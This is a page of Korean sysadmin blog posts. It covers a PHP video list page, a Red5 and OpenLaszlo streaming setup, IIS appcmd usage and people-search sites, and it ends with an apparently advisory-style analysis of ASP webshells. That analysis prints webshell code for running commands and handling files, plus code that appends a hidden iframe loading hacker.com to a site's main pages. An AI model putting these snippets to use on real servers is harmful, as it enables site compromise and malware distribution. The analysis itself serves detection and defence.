        <table width=100% cellpadding=0 cellspacing=0 border=0>
        <tr><td align=left height=50>&nbsp;
<? echo ("$MovieName"); ?>
        </td><td align=right><a href=index.php>전체 목록보기</a>&nbsp;&nbsp;</td></tr>
        </table>
</td>
</tr>

<tr>
<td height=450 bgcolor=white align=center valign=middle>

<embed src="http://syszone.co.kr/<? echo $top; ?>/UCCUp.swf?file=http://syszone.co.kr/<? echo $top; ?>/file.php?f=<? echo $filename; ?>.flv&previewImage=http://syszone.co.kr/<? echo $top; ?>/file.php?f=<? echo $filename; ?>.jpg&bufferTime=3&bgColor=-1"
width="600" height="420" scale="noscale" bgcolor="#ffffff" type="application/x-shockwave-flash" allowFullScreen="true"
allowScriptAccess="always" allowNetworking="all" pluginspage="http://www.macromedia.com/go/getflashplayer">
</embed>


</td></tr>
<tr><td>
<table width=100% cellpadding=0 cellspacing=0 border=0><tr>

<?

if (!$fp) {
        echo ("list.txt 파일이 없습니다.");
        exit;
        }

while (!feof($fp)) {
        $str = fgets($fp,$fsize);
        $str = trim($str);
        $str = ereg_replace(".flv","",trim($str));
        $arr[] = $str;
        }

if ( sizeof($arr) > ( $moviename + 5) ) {

for ($i = $moviename; $i < $moviename + 5 ; $i++) {
$B = $i + 1;

        echo ("<td>
        <table cellpadding=2 cellspacing=2 width=100% border=0>
        <tr><td align=center bgcolor=white><a href=view.php?filename=$arr[$i]&moviename=$B>
        <img src=$root/$arr[$i].jpg width=100 height=70 alt=$arr[$i] border=0></a>
        </td></tr>
        <tr><td align=center bgcolor=white>$M_Name $B</td></tr>
        </table></td>");
        }

} else {

$A = sizeof($arr) - $moviename - 1;
for ($i = $moviename; $i < $moviename + $A ; $i++) {
$B = $i + 1;

        echo ("<td>
        <table cellpadding=2 cellspacing=2 width=100% border=0>
        <tr><td align=center bgcolor=white><a href=view.php?filename=$arr[$i]&moviename=$B>
        <img src=$root/$arr[$i].jpg width=100 height=70 alt=$arr[$i] border=0></a>
        </td></tr>
        <tr><td align=center bgcolor=white>$M_Name $B</td></tr>
        </table></td>");
        }
}

?>

</tr>

</table>


- 환경 설정 파일

# vi config.inc

<?

$M_Name = "동영상서비스이름";
$top = "[PATH]";

?>


이제 http://domain/[PATH] 로 접속해서  확인한다.

그럼.. [PATH]/SERVICE 디렉토리안에 있는 모든 flv 파일이 리스트화 된 화면이 나타날것이다. 

8. RED5 를 이용한 스트리밍 서비스 환경 구축하기 

- Red5 설치하기

ant download :  http://ant.apache.org/bindownload.cgi

http://apache.tt.co.kr//ant/binaries/apache-ant-1.8.1-bin.tar.gz

red5 download : http://osflash.org/red5
jdk download : http://java.sun.com

각 사이트에서 최신 패키지를 다운받는다.

apache-ant-1.7.1-bin.tar.gz
red5-0.7.0.tar.gz
jdk-6u11-linux-x64-rpm.bin

- JDK 설치하기

# chmod 755 jdk-6u11-linux-x64-rpm.bin
# ./jdk-6u11-linux-x64-rpm.bin
--------------------------------------------------------------------------------
.
.

Do you agree to the above license terms? [yes or no]
              yes
Unpacking...
Checksumming...
Extracting...
UnZipSFX 5.50 of 17 February 2002, by Info-ZIP (Zip-Bugs@lists.wku.edu).
  inflating: jdk-6u11-linux-amd64.rpm 
  inflating: sun-javadb-common-10.4.1-3.1.i386.rpm 
  inflating: sun-javadb-core-10.4.1-3.1.i386.rpm 
  inflating: sun-javadb-client-10.4.1-3.1.i386.rpm 
  inflating: sun-javadb-demo-10.4.1-3.1.i386.rpm 
  inflating: sun-javadb-docs-10.4.1-3.1.i386.rpm 
  inflating: sun-javadb-javadoc-10.4.1-3.1.i386.rpm 
준비 중...                  ########################################### [100%]

.
.
Press Enter to continue.....
Done.

/usr/java 디렉토리 밑에 설치 완료 .

- Ant 설치하기

# tar xzvf apache-ant-1.7.1-bin.tar.gz
# mv apache-ant-1.7.1 /usr/local/ant

- Red5 설치하기

# mkdir /usr/local/red5
# tar xzvf red5-0.7.0.tar.gz -C /usr/local/red5

- 환경설정하기

# vi /etc/profile.d/ant_java.sh
-----------------------------------------------------------------------------

#!/bin/sh

export JAVA_HOME=/usr/java/default
export JAVA_VERSION=1.6
export ANT_HOME=/usr/local/ant
export PATH=${ANT_HOME}/bin:${JAVA_HOME}/bin:$PATH

----------------------------------------------------------------------------

# source /etc/profile.d/ant_java.sh
# java -version
java version "1.6.0_11"
Java(TM) SE Runtime Environment (build 1.6.0_11-b03)
Java HotSpot(TM) 64-Bit Server VM (build 11.0-b16, mixed mode)

- RED5 컴파일 및 데몬 시작하기

http://osflash.org/red5 에서 final 바이너리 패키지를 받은 경우 별도의 컴파일
없이 바로 실행이 가능하다.

# cd /usr/local/red5
# sh red5.sh

svn를 통해 코드를 받은 경우 아래와 같이 컴파일을 해줘야 한다.

# cd /usr/local
# svn co http://red5.googlecode.com/svn/java/server/trunk red5src
# cd red5

방법1 :

# cd /usr/local/red5src

# ant server &
# /usr/local/ant/bin/ant
# cp -a /usr/local/red5src/dist /usr/local/red5
# cd /usr/local/red5
# ./red5.sh &

방법2 :

# cd /usr/local/red5src
# make
# make install

# cd /usr/lib/red5
# ./red5.sh &

방법 3 :

# cd /usr/local/red5src
# ant prepare
# ant build

Target "build" does not exist in the project "RED5". 라는 에러가 발생했을 경우

# ant
or
# ant -f build.xml
# cp -a dist /usr/local/red5
# cd /usr/local/red5
# sh red5.sh &

;; 3번 권장함

최신버전으로 컴파일 시 간혹 아래와 같은 에러가 발생하는 경우가 있다.
------------------------------------------------------------------------
.
[ivy:resolve]           :: spring#spring-support;2.0.8: not found
[ivy:resolve]           :: javax#jsp-api;2.1: not found
[ivy:resolve]           :: red5#xercesImpl;2.9.0: not found
[ivy:resolve]           :: red5#groovy;1.0: not found
[ivy:resolve]           :: commons#commons-lang;2.3: not found
[ivy:resolve]           :: tomcat#jasper;6.0.14: not found
[ivy:resolve]           ::::::::::::::::::::::::::::::::::::::::::::::
[ivy:resolve]
[ivy:resolve] :: USE VERBOSE OR DEBUG MESSAGE LEVEL FOR MORE DETAILS

BUILD FAILED
/usr/local/red5-0.7.0/build.xml:205: The following error occurred while executing this line:
/usr/local/red5-0.7.0/build.xml:221: The following error occurred while executing this line:
/usr/local/red5-0.7.0/build.xml:165: impossible to resolve dependencies:
        resolve failed - see output for details
------------------------------------------------------------------------

위 문제는 ivy 라는 패키지 관리 도구에서 red5 컴파일 시 필요한 패키지를 사전에 정의된패키지 저장소에서 자동으로 다운로드 받게 되는데, 필요한 패키지를 찾을 수 없을때 발생한다.
ivy.xml 와 ivysettings.xml 파일에 다운로드 경로 정보가 있는데, 이것이 변동된 경우 발생하니 ivysettings.xml 에서 http://red5.googlecode.com/svn/trunk/repository/ 부분을http://red5.googlecode.com/svn/repository 로 수정하거나 최신 해당 파일을 다운로드 받으면 된다.

- Init script 만들기

# vi /etc/rc.d/init.d/red5
--------------------------------------------------------------------------

#!/bin/sh
#
# Startup script for Red5 flash streaming server
#
# chkconfig: 345 81 81
# description: RED5 by java
#
# processname: java (unfortunately)
# pidfile: /var/run/red5.pid
# config: /etc/red5.conf

# Source function library.

. /etc/rc.d/init.d/functions

PID_FILE=/var/run/red5.pid
PID=`ps ax |grep java|grep red5|awk '{print $1;}'`
RETVAL=0

start() {
echo -n $"Starting $DESCR: "
# daemon java $OPTIONS > /dev/null 2>&1 &

export ANT_HOME=/usr/local/ant
export JAVA_HOME=/usr/java/default
export PATH=$PATH:$JAVA_HOME/bin:$ANT_HOME/bin
export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar

exec $JAVA_HOME/bin/java -Djava.security.manager -Djava.security.policy=/usr/local/red5/conf/red5.policy -cp /usr/local/red5/red5.jar:conf:/usr/local/red5/conf org.red5.server.Standalone > /dev/null 2>&1 & RETVAL=$?

[ $RETVAL = 0 ] && touch /var/lock/subsys/red5 && echo $!>$PID_FILE && echo_success
echo
return $RETVAL
}
stop() {
echo -n $"Stopping $DESCR: "
#killproc $PID_FILE
[[ $PID != "" ]] && success && kill $PID || failure
RETVAL=$?
echo
[ $RETVAL = 0 ] && rm -f /var/lock/subsys/red5 $PID_FILE
}

# See how we were called.
case "$1" in
start)
start
;;
stop)
stop
;;
restart)
stop
sleep 3
start
;;
*)
echo $"Usage: $DESCR {start|stop|restart}"
exit 1
esac

exit $RETVAL

----------------------------------------------------------------------------

# chmod 755 /etc/rc.d/init.d/red5
# chkconfig --add /etc/rc.d/init.d/red5

# /etc/rc.d/init.d/red5 start

- red5 spec file
----------------------------------------------------------------------------
Summary: Red5 Server
Name: red5
Version: 0.7.0
Release: 1
Source0: %{name}-%{version}.tar.gz
License: LGPL
Group: Applications/Networking
BuildRoot: %{_builddir}/%{name}-root
%description
The Red5 open source Flash server allows you to record and stream video to the Flash Player.
%prep
%setup -q
%build
ant dist-installer
%install
cp dist $RPM_BUILD_ROOT
%clean
rm -rf $RPM_BUILD_ROOT
%files
%defattr(-,root,root)
/usr/local/bin/red5.init
%doc doc/changelog.txt
------------------------------------------------------------------------------

- Red5를 이용한 flv 동영상 스트리밍 Player 환경 구성하기

flash_media_player.zip 파일을 다운로드 받는다.
http://www.jeroenwijering.com/upload/flash_media_player.zip

# cp mediaplayer.html index.html

# vi index.html
------------------------------------------------------------------------------

<html>
<head>

<script type="text/javascript" src="swfobject.js"></script>

</head>
<body>

<p id="player2"><a href="http://www.macromedia.com/go/getflashplayer">Get the Flash Player</a> to see this player.</p>
<script type="text/javascript">
        var s2 = new SWFObject("mediaplayer.swf","playlist","640","640","9");
        s2.addParam("allowfullscreen","true");
        s2.addVariable("file","playlist.xml");
        s2.addVariable("displayheight","480");
        s2.addVariable("backcolor","0x000000");
        s2.addVariable("frontcolor","0xCCCCCC");
        s2.addVariable("lightcolor","0x996600");
        s2.write("player2");
</script>

</body>
</html>

----------------------------------------------------------------------------------

# vi playlist.xml
----------------------------------------------------------------------------------

<playlist version="1" xmlns="http://xspf.org/ns/0/">
        <trackList>
        <track>
        <title>Resident.Evil.Degeneration.2008</title>
        <creator>alang</creator>
        <location>rtmp://syszone.co.kr/oflaDemo/</location>
        <identifier>residentevil.flv</identifier>
        <meta rel="type">rtmp</meta>
        </track>
        </trackList>

.
.

</playlist>

----------------------------------------------------------------------------------

위의 <location>rtmp://syszone.co.kr/oflaDemo/</location> 에 해당 red5 streams 디렉토리
경로를 지정한다.

기본 경로는 [RED5_PATH]/webapps/oflaDemo/streams 디렉토리 밑에 flv 파일을 넣어두면된다.


9. RED5와 OpenLaszlo를 이용한 스트리밍 환경 구축하기

http://www.openlaszlo.org 에서 최신 패키지를 다운받는다.

최신 개발 패키지  : http://download.openlaszlo.org/nightly/trunk

# tar xzvf openlaszlo-4.2.0-unix.tar.gz
# mv lps-4.2.0 /usr/local/lps
# cd /usr/local/lps/Server/tomcat-5.0.24/bin
# ./startup.sh
----------------------------------------------------------------------------------
Using CATALINA_BASE:   /usr/local/lps/Server/tomcat-5.0.24
Using CATALINA_HOME:   /usr/local/lps/Server/tomcat-5.0.24
Using CATALINA_TMPDIR: /usr/local/lps/Server/tomcat-5.0.24/temp
Using JAVA_HOME:       /usr/java/default

----------------------------------------------------------------------------------

http://domain:8080/lps-4.2.0/demos/

# cd /usr/local/lps/Server/lps-4.2.0/demos/videolibrary
# vi videolibrary.lzx
----------------------------------------------------------------------------------

<include href="av/videoutils.lzx"/> -> 삭제

.
.
    <dataset name="ds_library"
        src="http:videolibrary.jsp?method=getLibrary"
        request="true"
    />

이 부분을 ..

    <dataset name="ds_library"
        src="http://192.168.123.2:8080/lps-4.2.0/demos/videolibrary/videolibrary.jsp?method=getLibrary"
        request="true"
    />

으로 ..

    <rtmpconnection id="rtc"
        autoconnect="true"
        debug="true"
        src="rtmp:localhost/test/instance1"
    />
 
이 부분을 ..

    <rtmpconnection id="rtc"
        autoconnect="true"
        debug="true"
        src="rtmp://192.168.123.90/oflaDemo"
    />

으로 변경

----------------------------------------------------------------------------------
# vi videolibrary.jsp
---------------------------------------------------------------------------------
 

  public String libraryDirectory =
        "/home/fms/applications/test/streams/instance1/"; --> 이부분을 ..
 "/usr/local/red5/webapps/oflaDemo/streams/" 으로 ..

    public String libraryUrl =
        "rtmp://localhost/test/instance1/"; --> 이부분을
 "rtmp://domain/oflaDemo/"; 으로 ..

---------------------------------------------------------------------------------

아래 주소로 접속하면 확인이 가능하다.

http://192.168.123.2:8080/lps-4.2.0/demos/videolibrary/videolibrary.lzx

;; flv 파일명이 한글이면 안된다.
;; flv 파일 리스트와 썸네일이 보이지 않는다.

- thumbnail 관련 임시 조치

# cd /usr/local/lps/Server/lps-4.2.x/demos/videolibrary
# vi videolibrarythumbnail.lzx
--------------------------------------------------------------------------------

.
        <videothumbnail name="vt"
.
thumbnailtime="${classroot.thumbnailtime}" resource="resources/thumbnail.jpg"
 />

--------------------------------------------------------------------------------

resources="원하는 thumbnail 파일 경로" 적어 준다.

....ㅠ.ㅠ

- lps URL 변경

# cd /usr/local/lps/Server/tomcat-5.0.24/conf/LPS/localhost
# vi lps.xml
--------------------------------------------------------------------------------
<Context docBase="../../lps-4.2.x" path="/lps-4.2.x">

위의 path="" 에 url에 표시될 alias명을 적는다.

http://domain:8080/<alias_name>

- SOLO 기능 이용하기

solo 는 laszlo에서 개발된 내용을 HTML과 swf 형태로 변경해 주는 관리 기능이다.
실제 laszlo로 미디어 관련 어플리케이션을 개발한 후 최종적으로는 solo를 이용하여
웹 컨텐츠 형태로 변형 시켜 사용한다.

solo 버턴을 클릭하면 해당 컨텐츠가 zip 파일로 압축된다.
압축 파일 위치는 /usr/local/lps/Server/lps-4.2.x/lps/admin 이다.

웹서버의 적당한 디렉토리 및에 해당 파일을 풀고 사용하면 된다.

- 동영상 저장소 분리하기

기본적으로 하나의 저장소에 동영상을 모두 저장해야 하는데, 이 경우 동영상의 수가
너무 많아 지면, 동영상 목록을 불려 올때 일정 시간 이후에 로딩되는 목록의 경우
익식을 못하는 문제가 발생한다.

또한 성격이 다른 동영상을 분리하여 저장할 필요가 있는데, 하나의 저장소를 통해
관리하기엔 한계가 있다.

저장소를 분리하여 관리하는 방법에 대해 알아보자.
본 방법이 정식적인 방법은 아니라고 본다. 그냥 될거 같아 해 보았는데 되더라.

일단 red5 의 동영상 서비스 위치인 /usr/local/red5/webapps/oflaDemo 을 다른이름
으로 복사한다.

# cd /usr/local/red5/webapps
# mkdir oflaDemo2007
# cp -a oflaDemo/WEB-INF/ oflaDemo2007/
# cd oflaDemo2007/WEB-INF

# vi red5-web.properties
---------------------------------------------------------------
webapp.contextPath=/oflaDemo2007
---------------------------------------------------------------

# vi web.xml
---------------------------------------------------------------
        <context-param>
                <param-name>webAppRootKey</param-name>
                <param-value>/oflaDemo2007</param-value>
---------------------------------------------------------------

# cd ..
# mkdir streams

이제 /usr/local/red5/webapps/oflaDemo2007/streams 밑에 해당 동영상을 복사한다.

그런 다음 lps 의 videolibrary 소스 저장소를 분리한다.

# cd /usr/local/lps/Server/lps-4.7.2/demos
# cp -a videolibrary videolibrary2007
# cd videolibrary2007/
# vi videolibrary.jsp
----------------------------------------------------------------

    public String libraryDirectory =
        //"/usr/local/src/red5/webapps/test/instance1/streams/";
        "/usr/local/red5/webapps/oflaDemo2007/streams/";

    public String libraryUrl =
        "rtmp://syszone.co.kr/oflaDemo2007/";
----------------------------------------------------------------

# vi videolibrary.lzx
----------------------------------------------------------------
    <dataset name="ds_library"
        src="http://syszone.co.kr:8080/lps-4.7.2/demos/videolibrary2007/videolibrary.jsp?method=getLibrary"
        request="true"
    />

    <rtmpconnection id="rtc"
        autoconnect="true"
        debug="true"
        src="rtmp://syszone.co.kr/oflaDemo2007/"
    />

# cd /usr/local/lps/Server/tomcat-5.0.24/bin/
# ./shutdown.sh
# /etc/rc.d/init.d/red5 stop
# /etc/rc.d/init.d/red5 start
# ./startup.sh

이제 웹 브라우저에서 확인을 한다.

http://domain:8080/lps-4.7.2/demos/videolibrary2007/videolibrary.lzx

본 문서의 데모는 blog.syszone.co.kr 의 동영상앨범과 LINKS 메뉴에서 실제 스트리밍
서비스를 확인해 보면 된다.

2011/08/24 14:32 2011/08/24 14:32

이번 포스팅에서는 IIS 7 에서 제공되는 새로운 커맨드라인(Command-line) 관리도구 Appcmd.exe 도구를 소개 드립니다. Appcmd.exe 도구를 사용하면 GUI 환경의 인터넷 정보 서비스 관리자를 사용하지 않고 쉽고 빠르게 서버를 제어할 수 있는 기능을 제공합니다. Appcmd.exe 를 통해서 대표적으로 아래 기능들을 수행할 수 있습니다.

*
웹 사이트, 응용 프로그램 풀, 가상 디렉터리의 생성, 삭제, 변경, 설정
* 웹 사이트, 응용 프로그램 풀의 시작, 중지, 재생
* 실행 중인 worker process, 요청에 대한 정보 보기
* IIS, ASP.NET 설정에 대한 가져오기, 내보내기, 변경

Appcmd.exe 도구는 %systemroot%\system32\inetsrv 경로에 있으며 명령을 실행하는 방법은 아래와 같습니다.
사용방법) APPCMD (command) (object-type) <identifier> < /parameter1:value1 ... > 

사용자 삽입 이미지



APPCMD 도구를 사용할 때 지원하는 명령, 개체 유형은 아래와 같습니다.

1. 명령(Command)
add, clear, configure, delete, inspect, install, list, lock, migrate, recycle, reset, restore, search, set, start, stop, uninstall, unlock

2. 개체 유형(object-type)
site, app, vdir, apppool, config, wp, request, module, backup, trace


실제 운영 서버에 사용해 볼만한 몇 가지 명령들을 예제로 정리하였습니다.

1. APPCMD list 명령을 통해 사이트, 응용 프로그램 풀, Worker Processes, 가상 디렉터리 정보 조회
가. Appcmd list site
나. Appcmd list app
다. Appcmd list wp
라. Appcmd list vdir

사용자 삽입 이미지




2. List 명령과 /text:* 파라미터를 추가하여 "xe" 웹 웹사이트에 대한 자세한 정보 얻기
가. Appcmd list app "xe/" /text:*

사용자 삽입 이미지


3. 설치된 모듈 확인
가. Appcmd list module

사용자 삽입 이미지




4. 현재 실행 중인 요청 확인
가. Appcmd list request /site.name:"WEB1"

C:\Windows\System32\inetsrv>APPCMD list request /site.name:"WEB1"
REQUEST "c900000080003a68" (url:POST /MiniPopupMonitor/WebServiceMessenger.asmx,
time:15 msec, client:192.168.0.101, stage:MapRequestHandler, module:ManagedPipelineHandler)

C:\Windows\System32\inetsrv>APPCMD list request /site.name:"WEB1"
REQUEST "b70000008000a3f1" (url:POST /MiniPopupMonitor/WebServiceMessenger.asmx,
time:15 msec, client:192.168.0.102, stage:SendResponse, module:IIS Web Core)

C:\Windows\System32\inetsrv>APPCMD list request /site.name:"WEB1"
REQUEST "ed0000008000d2ee" (url:POST /LoginS.aspx, time:141 msec, client:192.168.0.101,
stage:MapRequestHandler, module:ManagedPipelineHandler)

C:\Windows\System32\inetsrv>APPCMD list request /site.name:"WEB1"
REQUEST "f4000000800083a3" (url:GET /data/images/skin/2 Window_Data Popup/imag
es/dwframe_1.gif, time:16 msec, client:192.168.0.103, stage:SendResponse, module:IIS Web Core)



5. Site 상태 제어
가. Appcmd stop site /site.name:XE
나. Appcmd start site /site.name:XE

사용자 삽입 이미지




6. 글로벌 서버 설정 백업과 복원
가. Appcmd add backup
나. Appcmd restore backup /backup.name:"20101215T224415"

사용자 삽입 이미지




위와 같이 몇 가지 예제를 통해서 appcmd command-line 도구를 활용하는 방법에 대해서 간단히 확인하였습니다. 위 예제에서 다뤄보지 못한 개체 유형(object-type)과 명령(command)이 아직 많이 있으니 도움말을 통해 확인해 보시고 이외에도 유용한 명령이 있으면 추천 부탁 드립니다.

2011/06/11 01:07 2011/06/11 01:07

사람찾기방법 - 이름으로 사람찾기, 전화번호로 사람찾기, 친구찾기

사람찾기방법은 해결사만 하는것이 아닙니다. 온라인에서는 사람을 찾는 여러사이트들이 있습니다. 과거 아이러브스쿨이 유행했었던 적이 있는데 동창찾기를 포함한 사람찾기 사이트들을 알아보도록 하겠습니다. (온라인에서 사람을 찾는 서비스는 상태가 온라인서비스에 가입되어야만 찾을 수 있습니다.)


사람찾기 사이트 - 사람찾기방법
1. 네이트 사람검색
- 싸이월드 db를기반으로 사람이름으로 찾을 수 있습니다. 당연히 싸이월드 이용자가 공개를 하지 않았을 경우 검색이 되지 않습니다. 예전에는 싸이열풍으로 대부분의 사람찾기가 가능했으나 현재는 공개를 하지 않거나 싸이이용을 하지 않는 사람이 많아서 검색결과가 예전만 못한것으로 보입니다.
링크 : http://search.nate.com/search/ps.html?z=PS&s=&tq=&sc=&afc=&thr=tab&q=

사용자 삽입 이미지

네이트 - 사람검색



2. 다음 사람찾기
- 싸이월드, 아이러브스쿨의 유행으로 다음에서도 사람찾기 서비스가 있었으나 현재는 서비스가 종료되어 제공되고 있지 않습니다.


3. 네임검색
- 사람찾기 서비스의 핵심은 결국 사람입니다. 중소규모의 회사에서 아주 특별한 마케팅이나 기술이 없다면 해당 서비스를 진행하기 힘듭니다. 네임검색역시 등록된 사람의 연락처를 알려주는 서비스인데 등록된 db가 많지 않습니다. 링크 : http://www.name.co.kr/
2011/05/01 03:37 2011/05/01 03:37

1. 개 요

가. 웹쉘이란?
웹쉘이란 공격자가 원격에서 대상 웹서버에 명령을 수행할 수 있도록 작성한 웹 스크립트 (asp, jsp, php, cgi) 파일이다. 이때 zip, jpg, doc와 같은 데이터 파일종류 이외에 악의적으로 제작된 스크립트 파일인 웹쉘을 업로드하여 웹 서버를 해킹하는 사고가 빈번히 발생하고 있다. 최근에는 파일 업로드뿐만 아니라 SQL Injection과 같은 웹 취약점을 공격한 후 지속적으로 피해시스템을 관리할 목적으로 웹쉘을 생성 한다.

공격자는 웹쉘을 대상 서버에 업로드한 후 웹을 이용하여 시스템 명령어를 수행하므로 네트워크 방화벽 영향을 받지 않고 서버를 제어할 수 있다. 웹쉘은 웹페이지 소스코드 열람, 악성스크립트 (iframe 등) 삽입, 파일 업로드, 서버 및 데이터베이스 자료 유출 등의 다양한 공격이 가능하다.
최근 웹쉘은 탐지를 어렵게 하기 위해 웹쉘의 일부분만을 피해시스템에 업로드 하는 등 그 유형이 나날이 발전하고 있다.

나. 웹쉘의 위험성
2007년도 인터넷침해사고대응지원센터(www.krcert.or.kr)에서 한 해 동안 분석했던 피해 웹서버 중 웹쉘이 발견된 웹서버는 총 91%의 분포를 보였다. 이것은 공격자들이 취약점을 공격 한 후 웹쉘을 업로드하여 시스템을 통제하기가 수월하다보니 사용 빈도가 높은 것을 확인할 수 있다.

웹 취약점을 통해 피해시스템에 접근한 공격자는 방화벽에서 접근을 허용하는 HTTP (80/tcp) 서비스를 통해 피해시스템을 제어 하므로 웹쉘을 차단하기가 쉽지 않다.

피해시스템에서 수집된 ASP 웹쉘 샘플 한 개를 http://www.virustotal.com 사이트에서 각 바이러스 백신 엔진 탐지결과를 확인하였다. 아래 그림과 같이 많은 국내외 백신사에서 탐지 못하고 있으며 공격자들은 스크립트 웹쉘들을 빈번히 변경시켜 사용하기 때문에 백신들로서는 탐지하기가 쉽지 않다.

[그림] 웹쉘 백신탐지 결과
또한 일반적인 서버관리자들은 해킹여부를 확인하기 힘들고 피해를 인지하더라도 관리자들이 주로 사용하는 백신 프로그램에서 웹쉘 탐지가 안 되므로 웹쉘을 찾기가 쉽지 않다. 관리자들이 해킹 피해를 인지하고 시스템을 재설치 하더라도 이전에 웹쉘이 업로드 되어 있는 소스 그대로 새롭게 설치한 시스템에 복사하여 사용하기 때문에 지속적으로 웹쉘을 관리하는 공격자에게 피해를 입게 된다.

다. 웹쉘 최신 동향
o 인증된 공격자만 사용가능하도록 패스워드를 입력받거나, 특정 세션 값으로 세팅해야만 기능 들을 사용할 수 있는 웹쉘들이 많다.
[그림] 웹쉘 사용자 인증
o ASP의 eval, execute 메소드 등은 원격에 있는 공격자로부터 웹쉘 실행코드를 전달 받아 실행 하는데 많이 이용되고 있다. 이 같은 Eval, Execute 코드는 정상적인 스크립트 파일에도 삽입이 가능해 웹쉘 탐지가 더욱 어려워지고 있다.

o 최근 각 백신 사, 관리자들에 의해 웹쉘 탐지가 늘어 공격자들은 여러 기능을 하는 웹쉘 코드를 각 기능별로 웹쉘들을 분리하여 사용하고 있다. 그 중 파일 생성 기능, DB 쿼리 기능을 하는 웹쉘 파일들이 빈번하게 발견되고 있다.
o ASP 스크립트의 경우 웹 소스를 보호하기 위해 인코딩하는 Script Encoder를 제공하고 있다.
이러한 인코더를 악용하여 웹쉘을 인코딩하고 백신탐지를 우회하고 있다.

o 공격자들은 웹쉘이 업로드 되어있는 피해시스템 웹쉘 URL을 관리하기 위해 관리프로그램들을 사용하고 있다. 중국 해커들은 아래와 같은 관리프로그램을 개발하여 자신들이 장악했던 피해 사이트들을 체계적으로 관리하고 있다.
[그림] 웹쉘 관리 프로그램
2. ASP 웹쉘 상세 분석
최근 국내에서 발생하고 있는 피해 시스템 웹서버 대부분은 윈도우가 차지하고 있다. 윈도우, IIS, ASP 환경의 사이트들이 특히 SQL Injection 공격에 취약할 경우 이러한 취약점을 이용하는 자동화 공격 도구들로 인해 쉽게 악성코드 유포지, 경유지로 악용되고 있다. 이러한 윈도우 피해시스템을 공격하는데 많이 사용되는 ASP 웹쉘의 기능과 동향에 대해 상세히 살펴보도록 하겠다.

가. 각 기능별 웹쉘 분석

■ 명령어 및 각종 어플리케이션 실행
ASP 웹쉘에서는 윈도우에서 시스템 명령어나 외부 프로그램을 실행하기 위해 Wscript.Shell, Shell.Application 오브젝트를 이용한다. Wscript.Shell 오브젝트는 메소드 Run, Exec를 이용하여 시스템 명령어 및 외부 프로그램을 실행할 수 있다.

o Wscript.Shell
- Run (cmd, 0, True)
- Exec (cmd)
Set WshShell = Server.CreateObject (“WScript.Shell”)
Call WshShell.Run (cmd, 0, True)
Set WshShell = CreateObject (“WScript.Shell”)
Set oExec = WshShell.Exec (cmd)

시스템 명령어 또는 프로그램을 실행할 수 있는 또 다른 방법은 Shell.Application 오브젝트의
ShellExecute 메소드를 이용하는 것이다.

o Shell.Application
- Shellexecute“ Application”,“ Argument”,“ Path”,“ ”, 1
set objShell = CreateObject(“Shell.Application”)
objShell.ShellExecute “notepad.exe”, “ ”, “ ”, “open”, 1

■ 파일 조작
파일관련 조작은 Scripting.FileSystemObject, Shell.Application, Adodb.Stream 오브젝트를 사용한다. 이 중에서 Scripting.FileSystemObject, Adodb.Stream 을 이용한 파일 조작 방법에 대해 살펴보도록 하겠다.

o Scripting.FileSystemObject
- 파일 리스팅
Set fso = CreateObject(“Scripting.FileSystemObject”)
Set f = fso.GetFolder(folderpath)
Set fp = f.Files
For Each f1 in fp
s = s & f1.name
Next

- 파일 보기
fso는 Scripting.FileSystemObject로 생성한 오브젝트이다.
Set f = fso.OpenTextFile(“c:\testfile.txt”)
ra = f.ReadAll

- 파일 생성 및 수정
Set MyFile = fso.CreateTextFile(“c:\testfile.txt”, True)
MyFile.Write Contents

- 파일 이동 및 삭제
fso.CopyFile Path1, Path2
fso.CopyFolder Path1, Path2
fso.DeleteFile Path
fso.DeleteFolder Path

■ 파일 다운로드
o Adodb.Stream
Set stream = Server.CreateObject”Adodb.Stream”)
stream.Open
stream.Type = 1
stream.LoadFromFile(Path)
Response.AddHeader “Content-Disposition”, “attachment; filename=” & FileName
Response.AddHeader “Content-Length”, stream.Size
Response.Charset = “UTF-8”
Response.ContentType = “application/octet-stream”
Response.BinaryWrite stream.Read
Response.Flush
stream.Close
Set stream = Nothing

■ 파일 업로드
Adodb.Stream 오브젝트를 이용하여 파일을 업로드 한다. 관련 메소드들은 아래와 같다.
※ 구현 예제 코드 생략
o Adodb.Stream
- Write
- Read
- SaveToFile

■ 웹페이지들에 악성스크립트 삽입 기능
웹쉘에서는 악성코드를 유포하기 위해 각 html 파일들이나 스크립트 파일에 악성 스크립트 (iframe)를 삽입하는 기능이 있다.

o 정규표현식으로 아래와 같이 악성스크립트를 삽입할 파일명을 정의한다. default, index main 등 홈페이지 메인페이지 이름을 갖는 html 파일들이나 스크립트 파일들을 정규표현 식으로 찾는다.
- (\\|\/)(default|index|main|admin)\.(htm|html|asp|php|jsp|aspx)\b

o 그리고 아래와 같은 iframe 악성 스크립트 코드를 삽입한다.
- <IFRAME height=0 src="http://hacker.com/m.htm" width=0></IFRAME>
◈ 정규 표현식으로 파일이름을 검사하여 메인 페이지를 찾는다.
Set regEx=New RegExp
regEx.Pattern=”(\\|\/)(default|index|main|admin)\.(htm|html|asp|php|jsp|aspx)\b”
regEx.IgnoreCase=True
retVal=regEx.Test(path)

◈ 위 정규 표현식으로 검색된 파일의 끝에 iframe 코드를 삽입한다.
Set fs=Server.createObject(“Scripting.FileSystemObject”)
Set f=fs.GetFile(path)
Set f_addcode=f.OpenAsTextStream(8,-2) // 포인터는 파일 끝으로 이동하고 쓰기 모드로 연다
f_addcode.Write “<IFRAME src="http://hacker.com/m.htm" width=0 height=0></IFRAME>”
f_addcode.Close

■ 데이터베이스 열람 및 조작
데이터베이스에 접속하기 위해서는 Adodb.Connection 오브젝트를 사용하고 아래와 같은 메소드를 이용하여 데이터베이스 연결 및 SQL 쿼리 문들을 실행할 수 있다.
Set Con = Server.CreateObject(“Adodb.Connection”)
Con.Open “Provider=SQLOLEDB;Data
Source=SERVER_NAME;database=DB_NAME;uid=UID;pwd=PWD”
SQL = “SELECT * FROM table”
Set RS = Con.Execute(SQL)

■ 레지스트리 조작
윈도우는 모든 시스템 구성 정보나 사용자 설정 정보를 레지스트리에 저장한다. 웹쉘에서는 아래와 같은 Wscript.Shell 오브젝트와 관련 메소드를 이용하여 레지스트리 확인 및 조작 한다.

※ 구현 예제 코드 생략
o Wscript.Shell
- RegRead
- RegWrite
- RegDelete
웹쉘에서 참조하는 레지스트리 값들은 아래와 같다.
- 터미널 서비스 포트, PortNumber 키 값 변경
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\
